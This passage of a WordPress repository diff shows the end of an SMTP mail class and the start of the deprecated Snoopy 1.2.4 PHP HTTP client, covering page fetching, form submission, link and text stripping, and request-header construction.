+     */
+    public function getVerp()
+    {
+        return $this->do_verp;
+    }
+
+    /**
+     * Set error messages and codes.
+     * @param string $message The error message
+     * @param string $detail Further detail on the error
+     * @param string $smtp_code An associated SMTP error code
+     * @param string $smtp_code_ex Extended SMTP code
+     */
+    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
+    {
+        $this->error = array(
+            'error' => $message,
+            'detail' => $detail,
+            'smtp_code' => $smtp_code,
+            'smtp_code_ex' => $smtp_code_ex
+        );
+    }
+
+    /**
+     * Set debug output method.
+     * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
+     */
+    public function setDebugOutput($method = 'echo')
+    {
+        $this->Debugoutput = $method;
+    }
+
+    /**
+     * Get debug output method.
+     * @return string
+     */
+    public function getDebugOutput()
+    {
+        return $this->Debugoutput;
+    }
+
+    /**
+     * Set debug output level.
+     * @param integer $level
+     */
+    public function setDebugLevel($level = 0)
+    {
+        $this->do_debug = $level;
+    }
+
+    /**
+     * Get debug output level.
+     * @return integer
+     */
+    public function getDebugLevel()
+    {
+        return $this->do_debug;
+    }
+
+    /**
+     * Set SMTP timeout.
+     * @param integer $timeout
+     */
+    public function setTimeout($timeout = 0)
+    {
+        $this->Timeout = $timeout;
+    }
+
+    /**
+     * Get SMTP timeout.
+     * @return integer
+     */
+    public function getTimeout()
+    {
+        return $this->Timeout;
+    }
+
+    /**
+     * Reports an error number and string.
+     * @param integer $errno The error number returned by PHP.
+     * @param string $errmsg The error message returned by PHP.
+     */
+    protected function errorHandler($errno, $errmsg)
+    {
+        $notice = 'Connection: Failed to connect to server.';
+        $this->setError(
+            $notice,
+            $errno,
+            $errmsg
+        );
+        $this->edebug(
+            $notice . ' Error number ' . $errno . '. "Error notice: ' . $errmsg,
+            self::DEBUG_CONNECTION
+        );
+    }
+
+	/**
+	 * Will return the ID of the last smtp transaction based on a list of patterns provided
+	 * in SMTP::$smtp_transaction_id_patterns.
+	 * If no reply has been received yet, it will return null.
+	 * If no pattern has been matched, it will return false.
+	 * @return bool|null|string
+	 */
+	public function getLastTransactionID()
+	{
+		$reply = $this->getLastReply();
+
+		if (empty($reply)) {
+			return null;
+		}
+
+		foreach($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) {
+			if(preg_match($smtp_transaction_id_pattern, $reply, $matches)) {
+				return $matches[1];
+			}
+		}
+
+		return false;
+    }
+}
Index: /tags/5.0.20/src/wp-includes/class-snoopy.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-snoopy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-snoopy.php	(revision 56912)
@@ -0,0 +1,1259 @@
+<?php
+
+/**
+ * Deprecated. Use WP_HTTP (http.php) instead.
+ */
+_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/http.php' );
+
+if ( ! class_exists( 'Snoopy', false ) ) :
+/*************************************************
+
+Snoopy - the PHP net client
+Author: Monte Ohrt <monte@ispi.net>
+Copyright (c): 1999-2008 New Digital Group, all rights reserved
+Version: 1.2.4
+
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+You may contact the author of Snoopy by e-mail at:
+monte@ohrt.com
+
+The latest version of Snoopy can be obtained from:
+http://snoopy.sourceforge.net/
+
+*************************************************/
+
+class Snoopy
+{
+	/**** Public variables ****/
+
+	/* user definable vars */
+
+	var $host			=	"www.php.net";		// host name we are connecting to
+	var $port			=	80;					// port we are connecting to
+	var $proxy_host		=	"";					// proxy host to use
+	var $proxy_port		=	"";					// proxy port to use
+	var $proxy_user		=	"";					// proxy user to use
+	var $proxy_pass		=	"";					// proxy password to use
+
+	var $agent			=	"Snoopy v1.2.4";	// agent we masquerade as
+	var	$referer		=	"";					// referer info to pass
+	var $cookies		=	array();			// array of cookies to pass
+												// $cookies["username"]="joe";
+	var	$rawheaders		=	array();			// array of raw headers to send
+												// $rawheaders["Content-type"]="text/html";
+
+	var $maxredirs		=	5;					// http redirection depth maximum. 0 = disallow
+	var $lastredirectaddr	=	"";				// contains address of last redirected address
+	var	$offsiteok		=	true;				// allows redirection off-site
+	var $maxframes		=	0;					// frame content depth maximum. 0 = disallow
+	var $expandlinks	=	true;				// expand links to fully qualified URLs.
+												// this only applies to fetchlinks()
+												// submitlinks(), and submittext()
+	var $passcookies	=	true;				// pass set cookies back through redirects
+												// NOTE: this currently does not respect
+												// dates, domains or paths.
+
+	var	$user			=	"";					// user for http authentication
+	var	$pass			=	"";					// password for http authentication
+
+	// http accept types
+	var $accept			=	"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
+
+	var $results		=	"";					// where the content is put
+
+	var $error			=	"";					// error messages sent here
+	var	$response_code	=	"";					// response code returned from server
+	var	$headers		=	array();			// headers returned from server sent here
+	var	$maxlength		=	500000;				// max return data length (body)
+	var $read_timeout	=	0;					// timeout on read operations, in seconds
+												// supported only since PHP 4 Beta 4
+												// set to 0 to disallow timeouts
+	var $timed_out		=	false;				// if a read operation timed out
+	var	$status			=	0;					// http request status
+
+	var $temp_dir		=	"/tmp";				// temporary directory that the webserver
+												// has permission to write to.
+												// under Windows, this should be C:\temp
+
+	var	$curl_path		=	"/usr/local/bin/curl";
+												// Snoopy will use cURL for fetching
+												// SSL content if a full system path to
+												// the cURL binary is supplied here.
+												// set to false if you do not have
+												// cURL installed. See http://curl.haxx.se
+												// for details on installing cURL.
+												// Snoopy does *not* use the cURL
+												// library functions built into php,
+												// as these functions are not stable
+												// as of this Snoopy release.
+
+	/**** Private variables ****/
+
+	var	$_maxlinelen	=	4096;				// max line length (headers)
+
+	var $_httpmethod	=	"GET";				// default http request method
+	var $_httpversion	=	"HTTP/1.0";			// default http request version
+	var $_submit_method	=	"POST";				// default submit method
+	var $_submit_type	=	"application/x-www-form-urlencoded";	// default submit type
+	var $_mime_boundary	=   "";					// MIME boundary for multipart/form-data submit type
+	var $_redirectaddr	=	false;				// will be set if page fetched is a redirect
+	var $_redirectdepth	=	0;					// increments on an http redirect
+	var $_frameurls		= 	array();			// frame src urls
+	var $_framedepth	=	0;					// increments on frame depth
+
+	var $_isproxy		=	false;				// set if using a proxy server
+	var $_fp_timeout	=	30;					// timeout for socket connection
+
+/*======================================================================*\
+	Function:	fetch
+	Purpose:	fetch the contents of a web page
+				(and possibly other protocols in the
+				future like ftp, nntp, gopher, etc.)
+	Input:		$URI	the location of the page to fetch
+	Output:		$this->results	the output text from the fetch
+\*======================================================================*/
+
+	function fetch($URI)
+	{
+
+		//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_httpmethod);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_httpmethod);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								$this->fetch($this->_redirectaddr);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI,$URI,$this->_httpmethod);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_httpmethod);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						// only follow redirect if it's on this site, or offsiteok is true
+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
+							$this->lastredirectaddr=$this->_redirectaddr;
+							$this->fetch($this->_redirectaddr);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	submit
+	Purpose:	submit an http form
+	Input:		$URI	the location to post the data
+				$formvars	the formvars to use.
+					format: $formvars["var"] = "val";
+				$formfiles  an array of files to submit
+					format: $formfiles["var"] = "/dir/filename.ext";
+	Output:		$this->results	the text output from the post
+\*======================================================================*/
+
+	function submit($URI, $formvars="", $formfiles="")
+	{
+		unset($postdata);
+
+		$postdata = $this->_prepare_post_body($formvars, $formfiles);
+
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+								$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								if( strpos( $this->_redirectaddr, "?" ) > 0 )
+									$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+								else
+									$this->submit($this->_redirectaddr,$formvars, $formfiles);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+							$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+						// only follow redirect if it's on this site, or offsiteok is true
+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
+							$this->lastredirectaddr=$this->_redirectaddr;
+							if( strpos( $this->_redirectaddr, "?" ) > 0 )
+								$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+							else
+								$this->submit($this->_redirectaddr,$formvars, $formfiles);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	fetchlinks
+	Purpose:	fetch the links from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	an array of the URLs
+\*======================================================================*/
+
+	function fetchlinks($URI)
+	{
+		if ($this->fetch($URI))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striplinks($this->results);
+
+			if($this->expandlinks)
+				$this->results = $this->_expandlinks($this->results, $URI);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	fetchform
+	Purpose:	fetch the form elements from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the resulting html form
+\*======================================================================*/
+
+	function fetchform($URI)
+	{
+
+		if ($this->fetch($URI))
+		{
+
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_stripform($this->results[$x]);
+			}
+			else
+				$this->results = $this->_stripform($this->results);
+
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+/*======================================================================*\
+	Function:	fetchtext
+	Purpose:	fetch the text from a web page, stripping the links
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function fetchtext($URI)
+	{
+		if($this->fetch($URI))
+		{
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striptext($this->results);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submitlinks
+	Purpose:	grab links from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	an array of the links from the post
+\*======================================================================*/
+
+	function submitlinks($URI, $formvars="", $formfiles="")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striplinks($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submittext
+	Purpose:	grab text from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function submittext($URI, $formvars = "", $formfiles = "")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striptext($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+
+/*======================================================================*\
+	Function:	set_submit_multipart
+	Purpose:	Set the form submission content type to
+				multipart/form-data
+\*======================================================================*/
+	function set_submit_multipart()
+	{
+		$this->_submit_type = "multipart/form-data";
+	}
+
+
+/*======================================================================*\
+	Function:	set_submit_normal
+	Purpose:	Set the form submission content type to
+				application/x-www-form-urlencoded
+\*======================================================================*/
+	function set_submit_normal()
+	{
+		$this->_submit_type = "application/x-www-form-urlencoded";
+	}
+
+
+
+
+/*======================================================================*\
+	Private functions
+\*======================================================================*/
+
+
+/*======================================================================*\
+	Function:	_striplinks
+	Purpose:	strip the hyperlinks from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _striplinks($document)
+	{
+		preg_match_all("'<\s*a\s.*?href\s*=\s*			# find <a href=
+						([\"\'])?					# find single or double quote
+						(?(1) (.*?)\\1 | ([^\s\>]+))		# if quote found, match up to next matching
+													# quote, otherwise match up to next space
+						'isx",$document,$links);
+
+
+		// catenate the non-empty matches from the conditional subpattern
+
+		while(list($key,$val) = each($links[2]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		while(list($key,$val) = each($links[3]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		// return the links
+		return $match;
+	}
+
+/*======================================================================*\
+	Function:	_stripform
+	Purpose:	strip the form elements from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _stripform($document)
+	{
+		preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements);
+
+		// catenate the matches
+		$match = implode("\r\n",$elements[0]);
+
+		// return the links
+		return $match;
+	}
+
+
+
+/*======================================================================*\
+	Function:	_striptext
+	Purpose:	strip the text from an html document
+	Input:		$document	document to strip.
+	Output:		$text		the resulting text
+\*======================================================================*/
+
+	function _striptext($document)
+	{
+
+		// I didn't use preg eval (//e) since that is only available in PHP 4.0.
+		// so, list your entities one by one here. I included some of the
+		// more common ones.
+
+		$search = array("'<script[^>]*?>.*?</script>'si",	// strip out javascript
+						"'<[\/\!]*?[^<>]*?>'si",			// strip out html tags
+						"'([\r\n])[\s]+'",					// strip out white space
+						"'&(quot|#34|#034|#x22);'i",		// replace html entities
+						"'&(amp|#38|#038|#x26);'i",			// added hexadecimal values
+						"'&(lt|#60|#060|#x3c);'i",
+						"'&(gt|#62|#062|#x3e);'i",
+						"'&(nbsp|#160|#xa0);'i",
+						"'&(iexcl|#161);'i",
+						"'&(cent|#162);'i",
+						"'&(pound|#163);'i",
+						"'&(copy|#169);'i",
+						"'&(reg|#174);'i",
+						"'&(deg|#176);'i",
+						"'&(#39|#039|#x27);'",
+						"'&(euro|#8364);'i",				// europe
+						"'&a(uml|UML);'",					// german
+						"'&o(uml|UML);'",
+						"'&u(uml|UML);'",
+						"'&A(uml|UML);'",
+						"'&O(uml|UML);'",
+						"'&U(uml|UML);'",
+						"'&szlig;'i",
+						);
+		$replace = array(	"",
+							"",
+							"\\1",
+							"\"",
+							"&",
+							"<",
+							">",
+							" ",
+							chr(161),
+							chr(162),
+							chr(163),
+							chr(169),
+							chr(174),
+							chr(176),
+							chr(39),
+							chr(128),
+							chr(0xE4), // ANSI &auml;
+							chr(0xF6), // ANSI &ouml;
+							chr(0xFC), // ANSI &uuml;
+							chr(0xC4), // ANSI &Auml;
+							chr(0xD6), // ANSI &Ouml;
+							chr(0xDC), // ANSI &Uuml;
+							chr(0xDF), // ANSI &szlig;
+						);
+
+		$text = preg_replace($search,$replace,$document);
+
+		return $text;
+	}
+
+/*======================================================================*\
+	Function:	_expandlinks
+	Purpose:	expand each link into a fully qualified URL
+	Input:		$links			the links to qualify
+				$URI			the full URI to get the base from
+	Output:		$expandedLinks	the expanded links
+\*======================================================================*/
+
+	function _expandlinks($links,$URI)
+	{
+
+		preg_match("/^[^\?]+/",$URI,$match);
+
+		$match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]);
+		$match = preg_replace("|/$|","",$match);
+		$match_part = parse_url($match);
+		$match_root =
+		$match_part["scheme"]."://".$match_part["host"];
+
+		$search = array( 	"|^http://".preg_quote($this->host)."|i",
+							"|^(\/)|i",
+							"|^(?!http://)(?!mailto:)|i",
+							"|/\./|",
+							"|/[^\/]+/\.\./|"
+						);
+
+		$replace = array(	"",
+							$match_root."/",
+							$match."/",
+							"/",
+							"/"
+						);
+
+		$expandedLinks = preg_replace($search,$replace,$links);
+
+		return $expandedLinks;
+	}
+
+/*======================================================================*\
+	Function:	_httprequest
+	Purpose:	go get the http data from the server
+	Input:		$url		the url to fetch
+				$fp			the current open file pointer
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="")
+	{
+		$cookie_headers = '';
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		$headers = $http_method." ".$url." ".$this->_httpversion."\r\n";
+		if(!empty($this->agent))
+			$headers .= "User-Agent: ".$this->agent."\r\n";
+		if(!empty($this->host) && !isset($this->rawheaders['Host'])) {
+			$headers .= "Host: ".$this->host;
+			if(!empty($this->port) && $this->port != 80)
+				$headers .= ":".$this->port;
+			$headers .= "\r\n";
+		}
+		if(!empty($this->accept))
+			$headers .= "Accept: ".$this->accept."\r\n";
+		if(!empty($this->referer))
+			$headers .= "Referer: ".$this->referer."\r\n";
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_headers .= 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers .= substr($cookie_headers,0,-2) . "\r\n";
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers .= $headerKey.": ".$headerVal."\r\n";
+		}
+		if(!empty($content_type)) {
+			$headers .= "Content-type: $content_type";
+			if ($content_type == "multipart/form-data")
+				$headers .= "; boundary=".$this->_mime_boundary;
+			$headers .= "\r\n";
+		}
+		if(!empty($body))
+			$headers .= "Content-length: ".strlen($body)."\r\n";
+		if(!empty($this->user) || !empty($this->pass))
+			$headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n";
+
+		//add proxy auth headers
+		if(!empty($this->proxy_user))
+			$headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n";
+
+
+		$headers .= "\r\n";
+
+		// set the read timeout if needed
+		if ($this->read_timeout > 0)
+			socket_set_timeout($fp, $this->read_timeout);
+		$this->timed_out = false;
+
+		fwrite($fp,$headers.$body,strlen($headers.$body));
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		while($currentHeader = fgets($fp,$this->_maxlinelen))
+		{
+			if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+			{
+				$this->status=-100;
+				return false;
+			}
+
+			if($currentHeader == "\r\n")
+				break;
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location:|URI:)/i",$currentHeader))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$currentHeader))
+			{
+                if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status))
+				{
+					$this->status= $status[1];
+                }
+				$this->response_code = $currentHeader;
+			}
+
+			$this->headers[] = $currentHeader;
+		}
+
+		$results = '';
+		do {
+    		$_data = fread($fp, $this->maxlength);
+    		if (strlen($_data) == 0) {
+        		break;
+    		}
+    		$results .= $_data;
+		} while(true);
+
+		if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+		{
+			$this->status=-100;
+			return false;
+		}
+
+		// check if there is a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
+		// no framed content
+		else
+			$this->results = $results;
+
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	_httpsrequest
+	Purpose:	go get the https data from the server using curl
+	Input:		$url		the url to fetch
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
+	{
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$headers = array();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		// GET ... header not needed for curl
+		//$headers[] = $http_method." ".$url." ".$this->_httpversion;
+		if(!empty($this->agent))
+			$headers[] = "User-Agent: ".$this->agent;
+		if(!empty($this->host))
+			if(!empty($this->port))
+				$headers[] = "Host: ".$this->host.":".$this->port;
+			else
+				$headers[] = "Host: ".$this->host;
+		if(!empty($this->accept))
+			$headers[] = "Accept: ".$this->accept;
+		if(!empty($this->referer))
+			$headers[] = "Referer: ".$this->referer;
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_str = 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers[] = substr($cookie_str,0,-2);
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers[] = $headerKey.": ".$headerVal;
+		}
+		if(!empty($content_type)) {
